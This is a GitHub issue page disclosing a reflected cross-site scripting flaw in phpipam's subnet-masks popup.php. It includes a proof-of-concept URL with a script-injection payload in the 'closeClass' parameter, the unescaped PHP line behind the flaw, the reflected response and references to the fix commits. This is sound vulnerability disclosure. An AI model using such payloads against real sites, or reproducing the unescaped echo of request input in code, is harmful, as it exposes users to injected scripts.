Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
phpipam 1.6 (looking at the changelog, tested on 1.5 demo at https://demo.phpipam.net/login/timeout/) has a reflected cross-site scripting vulnerability that is executed by exploiting parameter 'closeClass'.
Example of vulnerable URL: https://demo.phpipam.net/app/tools/subnet-masks/popup.php?closeClass="><script>alert("XSS")</script>
Vulnerable source code: https://github.com/phpipam/phpipam/blob/master/app/tools/subnet-masks/popup.php
<!-- footer --> <div class="pFooter"> <div class="btn-group"> <button class="btn btn-sm btn-default <?php print @$_REQUEST['closeClass']; ?>"><?php print _('Close'); ?></button> </div> </div>
(partial) Browser's response :
<!-- footer --> <div class="pFooter"> <div class="btn-group"> <button class="btn btn-sm btn-default "><script>alert("XSS")</script>">Close</button> </div> </div>
The text was updated successfully, but these errors were encountered:
5c8b325
Bugfix: Reflected XSS /app/tools/subnet-masks/popup.php
842e999
Fixes #3738
No branches or pull requests
phpipam 1.6 (looking at the changelog, tested on 1.5 demo at https://demo.phpipam.net/login/timeout/) has a reflected cross-site scripting vulnerability that is executed by exploiting parameter 'closeClass'.
Example of vulnerable URL:
https://demo.phpipam.net/app/tools/subnet-masks/popup.php?closeClass="><script>alert("XSS")</script>
Vulnerable source code:
https://github.com/phpipam/phpipam/blob/master/app/tools/subnet-masks/popup.php
(partial) Browser's response :
The text was updated successfully, but these errors were encountered: